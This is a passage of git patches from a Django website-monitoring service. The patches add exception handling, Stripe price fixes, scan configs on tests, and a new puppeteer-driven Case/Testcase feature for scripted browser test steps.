Automation.objects.get(id=schedule.automation.id) if automation.user != request.user and automation.user != None: @@ -1053,9 +1053,9 @@ def create_or_update_automation(request): automation = None # get data - name = request.data['name'] - expressions = request.data['expressions'] - actions = request.data['actions'] + name = request.data.get('name') + expressions = request.data.get('expressions') + actions = request.data.get('actions') if automation: automation.name = name From e4f586e0822d2c46e336d9d5f7ca23c7935c1d35 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 13 Jun 2022 10:42:37 -0500 Subject: [PATCH 100/277] added _scan & _scan_p --- app/api/utils/scanner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 964927cd..2d1be9b9 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -149,7 +149,7 @@ def second_scan(self): if 'logs' in second_scan.type or 'full' in second_scan.type: logs = self.driver.get_log('browser') if 'vrt' in second_scan.type or 'full' in second_scan.type: - images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + images = Image()._scan(site=self.site, driver=self.driver, configs=self.configs) quit_driver(self.driver) else: driver_data = asyncio.run( @@ -163,7 +163,7 @@ def second_scan(self): if 'logs' in second_scan.type or 'full' in second_scan.type: logs = driver_data['logs'] if 'vrt' in second_scan.type or 'full' in second_scan.type: - images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + images = asyncio.run(Image()._scan_p(site=self.site, configs=self.configs)) if 'lighthouse' in second_scan.type or 'full' in second_scan.type: lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() From 104b25e21a2e22537b2e7e735cfd992fb1266833 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 13 Jun 2022 10:42:52 -0500 Subject: [PATCH 101/277] added exception handleing for /lean --- app/api/v1/ops/services.py | 40 +++++++++++++++++++++++++++++++++----- 1 file changed, 35 insertions(+), 5 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 6d515647..bffb7ddc 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -439,6 +439,24 @@ def get_test_lean(request, id): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) + # get images_delta if exists + try: + images_delta = {"average_score": test.images_delta.get('average_score')} + except: + images_delta = None + + # get lighthouse_delta if exists + try: + lighthouse_delta = {"scores": test.lighthouse_delta.get('scores')} + except: + lighthouse_delta = None + + # get lighthouse_delta if exists + try: + yellowlab_delta = {"scores": test.yellowlab_delta['scores']} + except: + yellowlab_delta = None + data = { "id": str(test.id), "site": str(test.site.id), @@ -449,9 +467,9 @@ def get_test_lean(request, id): "pre_scan": str(test.pre_scan.id), "post_scan": str(test.post_scan.id), "score": test.score, - "lighthouse_delta": {"scores": test.lighthouse_delta['scores']}, - "yellowlab_delta": {"scores": test.yellowlab_delta['scores']}, - "images_delta": {"average_score": test.images_delta.get('average_score')}, + "lighthouse_delta": lighthouse_delta, + "yellowlab_delta": yellowlab_delta, + "images_delta": images_delta, } record_api_call(request, data, '200') @@ -682,6 +700,18 @@ def get_scan_lean(request, id): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) + # get lighthouse scores if exists + try: + lighthouse = {"scores": scan.lighthouse.get('scores')} + except: + lighthouse = None + + # get yellowlab scores if exists + try: + yellowlab = {"scores": scan.yellowlab.get('scores')} + except: + yellowlab = None + data = { "id": str(scan.id), "site": str(scan.site.id), @@ -689,8 +719,8 @@ def get_scan_lean(request, id): "type": scan.type, "time_created": str(scan.time_created), "time_completed": str(scan.time_completed), - "lighthouse": {"scores": scan.lighthouse['scores']}, - "yellowlab": {"scores": scan.yellowlab['scores']}, + "lighthouse": lighthouse, + "yellowlab": yellowlab, } record_api_call(request, data, '200') From 779cb8338cd0ca9fc7b3fb23b0a70b1fee12a314 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 13 Jun 2022 11:07:45 -0500 Subject: [PATCH 102/277] switched back to Image scan() & scan_p() defaults --- app/api/utils/scanner.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 2d1be9b9..ef7dfd3a 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -74,7 +74,7 @@ def first_scan(self): if 'logs' in self.scan.type or 'full' in self.scan.type: logs = self.driver.get_log('browser') if 'vrt' in self.scan.type or 'full' in self.scan.type: - images = Image()._scan(site=self.site, driver=self.driver, configs=self.configs) + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) quit_driver(self.driver) else: driver_data = asyncio.run( @@ -88,7 +88,7 @@ def first_scan(self): if 'logs' in self.scan.type or 'full' in self.scan.type: logs = driver_data['logs'] if 'vrt' in self.scan.type or 'full' in self.scan.type: - images = asyncio.run(Image()._scan_p(site=self.site, configs=self.configs)) + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) if 'lighthouse' in self.scan.type or 'full' in self.scan.type: lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() @@ -149,7 +149,7 @@ def second_scan(self): if 'logs' in second_scan.type or 'full' in second_scan.type: logs = self.driver.get_log('browser') if 'vrt' in second_scan.type or 'full' in second_scan.type: - images = Image()._scan(site=self.site, driver=self.driver, configs=self.configs) + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) quit_driver(self.driver) else: driver_data = asyncio.run( @@ -163,7 +163,7 @@ def second_scan(self): if 'logs' in second_scan.type or 'full' in second_scan.type: logs = driver_data['logs'] if 'vrt' in second_scan.type or 'full' in second_scan.type: - images = asyncio.run(Image()._scan_p(site=self.site, configs=self.configs)) + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) if 'lighthouse' in second_scan.type or 'full' in second_scan.type: lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() From 69123b36d2cac3924e6bbed4e11d5de225829a39 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 13 Jun 2022 15:07:10 -0500 Subject: [PATCH 103/277] added configs to site creation w/ no_scan = false --- app/api/v1/ops/services.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index bffb7ddc..59d6af58 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -107,7 +107,7 @@ def create_site(request, delay=False): site.info["latest_scan"]["time_created"] = str(scan.time_created) site.save() else: - S(site=site).first_scan() + S(site=site, configs=configs).first_scan() serializer_context = {'request': request,} serialized = SiteSerializer(site, context=serializer_context) From e875ea87a3384847dcfe0ce80d1e29ee7a5ea03a Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 15 Jun 2022 15:33:05 -0500 Subject: [PATCH 104/277] fixing new stripe policy --- app/api/v1/billing/views.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py index 83c8cfe1..e8c64505 100644 --- a/app/api/v1/billing/views.py +++ b/app/api/v1/billing/views.py @@ -218,7 +218,6 @@ def post(self, request): if Account.objects.filter(user=user).exists(): old_account = Account.objects.get(user=user) - stripe.Price.modify(old_account.price_id, active=False) product = stripe.Product.modify(old_account.product_id, name=product_name) customer = stripe.Customer.retrieve(old_account.cust_id) @@ -241,6 +240,8 @@ def post(self, request): expand=['latest_invoice.payment_intent'], ) + stripe.Price.modify(old_account.price_id, active=False) + Account.objects.filter(user=user).update( type = name, cust_id = customer.id, From 03e748de7c9f308d184db5c89087c24fc42af53b Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 15 Jun 2022 15:40:23 -0500 Subject: [PATCH 105/277] fixed stripe pricing issues --- app/api/v1/billing/views.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py index e8c64505..dbb87c50 100644 --- a/app/api/v1/billing/views.py +++ b/app/api/v1/billing/views.py @@ -240,6 +240,8 @@ def post(self, request): expand=['latest_invoice.payment_intent'], ) + # updating price defaults and archiving old price + stripe.Product.modify(product.id, default_price=price,) stripe.Price.modify(old_account.price_id, active=False) Account.objects.filter(user=user).update( From df46ec569a9355bd1dceafa05f784484fdce30c1 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 16 Jun 2022 12:08:40 -0500 Subject: [PATCH 106/277] added configs to Test obj --- app/api/models.py | 2 ++ app/api/utils/tester.py | 5 +++++ app/api/v1/ops/serializers.py | 2 +- 3 files changed, 8 insertions(+), 1 deletion(-) diff --git a/app/api/models.py b/app/api/models.py index 3d35d23f..2e6f7a32 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -245,6 +245,8 @@ class Test(models.Model): yellowlab_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_delta_default) images_delta = models.JSONField(serialize=True, null=True, blank=True) tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) + pre_scan_configs = models.JSONField(serialize=True, null=True, blank=True) + post_scan_configs = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): return f'{self.id}__test' diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py index a96159de..d5273a56 100644 --- a/app/api/utils/tester.py +++ b/app/api/utils/tester.py @@ -415,6 +415,11 @@ def update_site_info(self, test): def run_test(self, index=None): + # update test obj with scan configs + self.test.pre_scan_configs = self.test.pre_scan.configs + self.test.post_scan_configs = self.test.post_scan.configs + self.test.save() + # default scores html_score = 0 num_html_ratio = 0 diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index 3b2442e3..c38646e0 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -81,7 +81,7 @@ class Meta: fields = ['id', 'site', 'time_created', 'time_completed', 'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta', 'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type', - 'tags', + 'tags', 'pre_scan_configs', 'post_scan_configs', ] From 6d24ce683b12bba713780c342dedff3d4050eb79 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 30 Jun 2022 14:44:11 -0500 Subject: [PATCH 107/277] cleaning things up a bit --- app/api/utils/image.py | 2 +- app/api/utils/wordpress_p.py | 3 --- 2 files changed, 1 insertion(+), 4 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 4c154bca..28e7f010 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -706,7 +706,7 @@ def test(self, test, index=None): Compairsons used : - Structral Similarity Index (ssim) - PIL ImageChop Differences, Ratio - - cv2 ORB Brute-force Matcher, Ratio + - cv2 ORB Brute-force Matcher, Ratio """ diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py index 7db91b00..889a00ff 100644 --- a/app/api/utils/wordpress_p.py +++ b/app/api/utils/wordpress_p.py @@ -1,7 +1,4 @@ from .driver_p import driver_init -from selenium import webdriver -from selenium.webdriver.support.ui import Select -from selenium.webdriver.common.keys import Keys import time, asyncio, uuid from ..models import * from datetime import datetime From f8f3d3c299fa1ebb82f9149a30fd9d4d6589cbd8 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 30 Jun 2022 14:44:27 -0500 Subject: [PATCH 108/277] added Case and Testcase --- app/api/admin.py | 10 + app/api/models.py | 57 ++++ app/api/tasks.py | 18 +- app/api/templates/api/automation_email.html | 5 +- app/api/utils/alerts.py | 31 +- app/api/utils/automations.py | 36 ++- app/api/utils/caser.py | 286 +++++++++++++++++ app/api/v1/ops/serializers.py | 27 ++ app/api/v1/ops/services.py | 335 +++++++++++++++++++- app/api/v1/ops/tasks.py | 68 ++++ app/api/v1/ops/urls.py | 6 + app/api/v1/ops/views.py | 101 ++++++ 12 files changed, 956 insertions(+), 24 deletions(-) create mode 100644 app/api/utils/caser.py diff --git a/app/api/admin.py b/app/api/admin.py index a177b48a..17e0e439 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -55,6 +55,16 @@ class ProcessAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'time_completed', 'progress', 'successful') +@admin.register(Case) +class CaseAdmin(admin.ModelAdmin): + list_display = ('__str__', 'user', 'time_created',) + + +@admin.register(Testcase) +class TestcaseAdmin(admin.ModelAdmin): + list_display = ('__str__', 'user', 'time_created', 'time_completed',) + + @admin.register(Mask) class MaskAdmin(admin.ModelAdmin): diff --git a/app/api/models.py b/app/api/models.py index 2e6f7a32..c592409c 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -178,6 +178,28 @@ def get_actions_default(): + +def get_steps_default(): + steps_default = [ + { + 'action': { + 'type': None, + 'element': None, + 'path': None, + 'text': None, + }, + 'assertion': { + 'type': None, + 'element': None, + 'text': None, + }, + }, + ] + return steps_default + + + + def get_slack_default(): slack_default = { "slack_name": None, @@ -339,6 +361,41 @@ class Report(models.Model): def __str__(self): return f'{self.site.site_url}__report' + + + + + +class Case(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) + + def __str__(self): + return f'{self.name}' + + + + +class Testcase(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True) + case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + case_name = models.CharField(max_length=1000, null=True, blank=True, serialize=True) + site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + time_completed = models.DateTimeField(null=True, blank=True, serialize=True) + passed = models.BooleanField(default=False, serialize=True) + steps = models.JSONField(serialize=True, null=True, blank=True) + configs = models.JSONField(serialize=True, null=True, blank=True) + + def __str__(self): + return f'{self.case.name}__testcase' + + diff --git a/app/api/tasks.py b/app/api/tasks.py index fc1ffdaf..112c6f39 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -3,7 +3,8 @@ from celery import shared_task from .v1.ops.tasks import (create_site_task, create_scan_task, create_test_task, delete_site_s3, - create_report_task, delete_report_s3, migrate_site_task + create_report_task, delete_report_s3, migrate_site_task, + create_testcase_task, ) from .models import Log from django.contrib.auth.models import User @@ -104,6 +105,21 @@ def purge_logs(username=None): logger.info('Purged logs') +@shared_task +def create_testcase_bg( + testcase_id=None, + site_id=None, + case_id=None, + updates=None, + automation_id=None, + configs=None, + type=None, + ): + create_testcase_task(testcase_id, site_id, case_id, updates, configs, automation_id) + logger.info('Ran full testcase') + + + @shared_task def migrate_site_bg( diff --git a/app/api/templates/api/automation_email.html b/app/api/templates/api/automation_email.html index ca05930d..abf638b3 100644 --- a/app/api/templates/api/automation_email.html +++ b/app/api/templates/api/automation_email.html @@ -1,4 +1,3 @@ -{% load markdownify %} @@ -113,7 +112,7 @@

Hi there,

-

{{ pre_content|markdownify }}

+

{{ pre_content }}


    {% for exp in exp_list %} @@ -137,7 +136,7 @@ -

    {{ content|markdownify }}

    +

    {{ content }}

    {{ signature }}

    diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py index c8a8de05..32bc9405 100644 --- a/app/api/utils/alerts.py +++ b/app/api/utils/alerts.py @@ -114,6 +114,13 @@ def create_exp_str(item, automation, is_email=False): elif 'logs' in e['data_type']: data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t' + + + elif 'testcase' in e['data_type']: + status = 'Failed' + if e['value'] == 'True': + status = 'Passed' + data_type = 'Testcase "'+str(item.case.name)+'" --> '+str(status) exp_list.append(data_type) @@ -255,7 +262,11 @@ def automation_email(email=None, automation_id=None, object_id=None): item = Scan.objects.get(id=uuid.UUID(object_id)) item_type = 'Scan' except: - return {'success': False} + try: + item = Testcase.objects.get(id=uuid.UUID(object_id)) + item_type = 'Testcase' + except: + return {'success': False} exp_list = create_exp_str(item=item, automation=automation, is_email=True) @@ -393,7 +404,11 @@ def automation_webhook( item = Scan.objects.get(id=uuid.UUID(object_id)) item_type = 'Scan' except: - return {'success': False} + try: + item = Testcase.objects.get(id=uuid.UUID(object_id)) + item_type = 'Testcase' + except: + return {'success': False} pre_json_data = json.loads(request_data) json_data = create_json_data(data=pre_json_data, obj=item) @@ -438,7 +453,11 @@ def automation_phone(phone_number=None, automation_id=None, object_id=None): item = Scan.objects.get(id=uuid.UUID(object_id)) item_type = 'Scan' except: - return {'success': False} + try: + item = Testcase.objects.get(id=uuid.UUID(object_id)) + item_type = 'Testcase' + except: + return {'success': False} exp_str = create_exp_str(item=item, automation=automation) @@ -493,7 +512,11 @@ def automation_slack(automation_id=None, object_id=None): item = Scan.objects.get(id=uuid.UUID(object_id)) item_type = 'Scan' except: - return {'success': False} + try: + item = Testcase.objects.get(id=uuid.UUID(object_id)) + item_type = 'Testcase' + except: + return {'success': False} exp_str = create_exp_str(item=item, automation=automation) diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py index e8e691d9..ea7be1b9 100644 --- a/app/api/utils/automations.py +++ b/app/api/utils/automations.py @@ -14,6 +14,7 @@ def automation(automation_id, object_id): scan = None test = None report = None + testcase = None use_exp = True if schedule.task_type == 'scan': @@ -34,6 +35,12 @@ def automation(automation_id, object_id): use_exp = False except: return False + elif schedule.task_type == 'testcase': + try: + testcase = Testcase.objects.get(id=object_id) + use_exp = True + except: + return False else: return False @@ -46,19 +53,28 @@ def automation(automation_id, object_id): exp = None data_type = None - value = str(float(re.search(r'\d+', str(expression['value'])).group())) - if '>=' in expression['operator']: - operator = ' >= ' - else: - operator = ' <= ' + if testcase == None: + value = str(float(re.search(r'\d+', str(expression['value'])).group())) + + if '>=' in expression['operator']: + operator = ' >= ' + else: + operator = ' <= ' + + if 'and' in expression['joiner']: + joiner = ' and ' + elif 'or' in expression['joiner']: + joiner = ' or ' + else: + joiner = '' - if 'and' in expression['joiner']: - joiner = ' and ' - elif 'or' in expression['joiner']: - joiner = ' or ' - else: + if testcase != None: + operator = ' == ' joiner = '' + data_type = 'testcase.passed' + value = str(expression['value']) + if 'test_score' in expression['data_type']: data_type = 'float(test.score)' diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py new file mode 100644 index 00000000..4684456a --- /dev/null +++ b/app/api/utils/caser.py @@ -0,0 +1,286 @@ +from .driver_p import driver_init +import time, asyncio, uuid, json +from ..models import * +from datetime import datetime +from asgiref.sync import sync_to_async + + + + + +class Caser(): + + + def __init__(self, testcase): + self.testcase = testcase + self.site_url = self.testcase.site.site_url + self.steps = self.testcase.steps + self.case_name = self.testcase.case.name + self.configs = self.testcase.configs + + + + @sync_to_async + def update_testcase( + self, index=None, type=None, start_time=None, end_time=None, + passed=None, exception=None, time_completed=None, + ): + if start_time != None: + self.testcase.steps[index][type]['time_created'] = str(start_time) + if end_time != None: + self.testcase.steps[index][type]['time_completed'] = str(end_time) + if passed != None: + self.testcase.steps[index][type]['passed'] = passed + if exception != None: + self.testcase.steps[index][type]['exception'] = str(exception) + if time_completed != None: + self.testcase.time_completed = time_completed + test_status = True + for step in self.testcase.steps: + if step['action']['passed'] == False: + test_status = False + if step['assertion']['passed'] == False: + test_status = False + self.testcase.passed = test_status + + self.testcase.save() + return + + @sync_to_async + def format_element(self, element): + elememt = json.dumps(element).rstrip('"').lstrip('"') + return element + + + + + async def run(self): + + + print(f'beginging testcase for {self.site_url} \ + using case {self.case_name}') + + # initate driver + self.driver = await driver_init() + + # init page obj + self.page = await self.driver.newPage() + + # setting up page with configs + sizes = self.configs['window_size'].split(',') + is_mobile = False + if self.configs['device'] == 'mobile': + is_mobile = True + + self.page_options = { + 'waitUntil': 'networkidle0', + 'timeout': int(self.configs['max_wait_time'])*1000 + } + + print(f'setting max timeout to -> {int(self.configs["max_wait_time"])}s') + + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + 'isMobile': is_mobile, + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } + + if self.configs['device'] == 'mobile': + await self.page.emulate(emulate_options) + else: + await self.page.setViewport(viewport) + + + i = 0 + for step in self.steps: + print(f'-- running step #{i+1} --') + # print(f'step contents: {step}') + + if step['action']['type'] == 'navigate': + exception = None + passed = True + await self.update_testcase( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'navigating to {self.site_url}{step["action"]["path"]}') + # using puppeteer, navigate to requested path & wait for page to load + await self.page.goto(f'{self.site_url}{step["action"]["path"]}', self.page_options) + time.sleep(int(self.configs['min_wait_time'])) + + except Exception as e: + exception = e + passed = False + + + await self.update_testcase( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception + ) + + + + if step['action']['type'] == 'click': + exception = None + passed = True + await self.update_testcase( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'clicking element -> {step["action"]["element"]}') + # using puppeteer, find and click on the 'element' + selector = await self.format_element(step["action"]["element"]) + await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + element = await self.page.J(selector) + await element.click() + time.sleep(int(self.configs['min_wait_time'])) + + except Exception as e: + exception = e + passed = False + + await self.update_testcase( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception + ) + + + if step['action']['type'] == 'change': + exception = None + passed = True + await self.update_testcase( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'changing element to value -> {step["action"]["value"]}') + # using puppeteer, find and click on the 'element' + if step["action"]["element"] != (None or ''): + selector = await self.format_element(step["action"]["element"]) + await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + element = await self.page.J(selector) + await element.click(clickCount=3) + await self.page.keyboard.type(step["action"]["value"]) + time.sleep(int(self.configs['min_wait_time'])) + + except Exception as e: + exception = e + passed = False + + await self.update_testcase( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception + ) + + + if step['action']['type'] == 'keyDown': + exception = None + passed = True + await self.update_testcase( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'keyDown action for key -> {step["action"]["key"]}') + # using puppeteer, press the selected key + await self.page.keyboard.press(step['action']['key']) + time.sleep(int(self.configs['min_wait_time'])) + + except Exception as e: + exception = e + passed = False + + await self.update_testcase( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception + ) + + + + + if step['assertion']['type'] == 'match': + exception = None + passed = True + await self.update_testcase( + index=i, type='assertion', + start_time=datetime.now() + ) + + try: + print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}') + # using puppeteer, find elememt and assert if element.text == assertion.text + selector = await self.format_element(step["assertion"]["element"]) + await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + elementText = await self.page.evaluate(f'document.querySelector("{selector}").textContent') + print(f'elementText => {elementText}') + print(f'value => {step["assertion"]["value"]}') + assert elementText == step["assertion"]["value"] + + except Exception as e: + exception = e + passed = False + + await self.update_testcase( + index=i, type='assertion', + end_time=datetime.now(), + passed=passed, + exception=exception + ) + + + if step['assertion']['type'] == 'exists': + exception = None + passed = True + await self.update_testcase( + index=i, type='assertion', + start_time=datetime.now() + ) + + try: + print(f'asserting that element -> {step["assertion"]["element"]} exists') + # using puppeteer, find elememt and assert it exists + selector = await self.format_element(step["assertion"]["element"]) + await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + await self.page.J(selector) + + except Exception as e: + exception = e + passed = False + + await self.update_testcase( + index=i, type='assertion', + end_time=datetime.now(), + passed=passed, + exception=exception + ) + + i += 1 + await self.update_testcase( + time_completed=datetime.now() + ) + await self.driver.close() + print('-- testcase run complete --') \ No newline at end of file diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index c38646e0..2a0912a7 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -137,4 +137,31 @@ class Meta: model = Report fields = ['id', 'site', 'user', 'time_created', 'type', 'path', 'info' + ] + + + + +class CaseSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + user = serializers.ReadOnlyField(source='user.username') + + class Meta: + model = Case + fields = ['id', 'name', 'user', 'steps', 'time_created', + 'tags', + ] + + + +class TestcaseSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) + case = serializers.PrimaryKeyRelatedField(source='case.id', **kwargs) + user = serializers.ReadOnlyField(source='user.username') + + class Meta: + model = Testcase + fields = ['id', 'site', 'user', 'time_created', 'time_completed', + 'steps', 'case', 'case_name', 'passed', 'configs', ] \ No newline at end of file diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 59d6af58..2dcce560 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -14,6 +14,7 @@ from ...utils.reporter import Reporter as R from ...utils.wordpress import Wordpress as W from ...utils.wordpress_p import Wordpress as W_P +from ...utils.caser import Caser @@ -64,6 +65,10 @@ def create_site(request, delay=False): user = request.user sites = Site.objects.filter(user=user) + + if site_url.endswith('/'): + site_url = site_url.rstrip('/') + if site_url is None or site_url == '': data = {'reason': 'the site_url cannot be empty',} record_api_call(request, data, '400') @@ -798,6 +803,9 @@ def delete_many_scans(request): return response + + + def create_or_update_schedule(request): account_is_active = check_account(request) @@ -834,8 +842,20 @@ def create_or_update_schedule(request): scan_type = request.data.get('scan_type', None) configs = request.data.get('configs', None) schedule_id = request.data.get('schedule_id', None) + case_id = request.data.get('case_id', None) + updates = request.data.get('updates', None) - + + if configs is None: + configs = { + 'window_size': '1920,1080', + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'interval': 5, + 'min_wait_time': 10, + 'max_wait_time': 30, + } if schedule_status != None and schedule != None: task = PeriodicTask.objects.get(id=schedule.periodic_task_id) @@ -852,7 +872,6 @@ def create_or_update_schedule(request): # if not status change, updating data else: - if Automation.objects.filter(schedule=schedule).exists(): automation = Automation.objects.filter(schedule=schedule)[0] auto_id = automation.id @@ -884,6 +903,17 @@ def create_or_update_schedule(request): 'automation_id': str(auto_id) } + + if task_type == 'testcase': + task = 'api.tasks.create_testcase_bg' + arguments = { + 'site_id': str(site.id), + 'case_id': str(case_id), + 'updates': updates, + 'configs': configs, + 'automation_id': str(auto_id), + } + format_str = '%m/%d/%Y' try: @@ -943,7 +973,9 @@ def create_or_update_schedule(request): extras = { "configs": configs, "test_type": test_type, - "scan_type": scan_type + "scan_type": scan_type, + "case_id": case_id, + "updates": updates } if schedule: @@ -1027,7 +1059,7 @@ def get_schedules(request): def delete_schedule(request, id): try: - schedule = Schedule.objects.get(id=schedule_id) + schedule = Schedule.objects.get(id=id) except: data = {'reason': 'cannot find a Schedule with that id'} record_api_call(request, data, '404') @@ -1110,6 +1142,8 @@ def create_or_update_automation(request): 'automation_id': str(automation.id), 'configs': json.loads(task.kwargs).get('configs', None), 'type': json.loads(task.kwargs).get('type', None), + 'case_id': json.loads(task.kwargs).get('case_id', None), + 'updates': json.loads(task.kwargs).get('updates', None) } task.kwargs=json.dumps(arguments) task.save() @@ -1155,7 +1189,7 @@ def get_automations(request): def delete_automation(request, id): try: - automation = Automation.objects.get(id=automation_id) + automation = Automation.objects.get(id=id) except: data = {'reason': 'cannot find a Automation with that id'} record_api_call(request, data, '404') @@ -1269,7 +1303,7 @@ def get_reports(request): def delete_report(request, id): user = request.user try: - report = Report.objects.get(id=report_id) + report = Report.objects.get(id=id) except: data = {'reason': 'cannot find a Report with that id'} record_api_call(request, data, '404') @@ -1335,6 +1369,295 @@ def get_processes(request): + + + + + + + + +def create_or_update_case(request): + case_id = request.data.get('case_id') + steps = request.data.get('steps') + name = request.data.get('name') + tags = request.data.get('tags') + + account_is_active = check_account(request) + if not account_is_active: + data = {'reason': 'account not funded',} + record_api_call(request, data, '402') + return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + + if case_id: + try: + case = Case.objects.get(id=case_id) + except: + data = {'reason': 'cannot find a Case with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if case.user != request.user: + data = {'reason': 'you cannot retrieve Cases you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + else: + case.steps = steps + case.name = name + case.tags = tags + case.save() + + else: + case = Case.objects.create( + user = request.user, + name = name, + tags = tags, + steps = steps + ) + + + serializer_context = {'request': request,} + data = CaseSerializer(case, context=serializer_context).data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + +def get_cases(request): + case_id = request.query_params.get('case_id') + if case_id != None: + try: + case = Case.objects.get(id=case_id) + except: + data = {'reason': 'cannot find a Case with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if case.user != request.user: + data = {'reason': 'you cannot retrieve an Case you do not own',} + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = CaseSerializer(case, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + cases = Case.objects.filter(user=request.user).order_by('-time_created') + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(cases, request) + serializer_context = {'request': request,} + serialized = CaseSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) 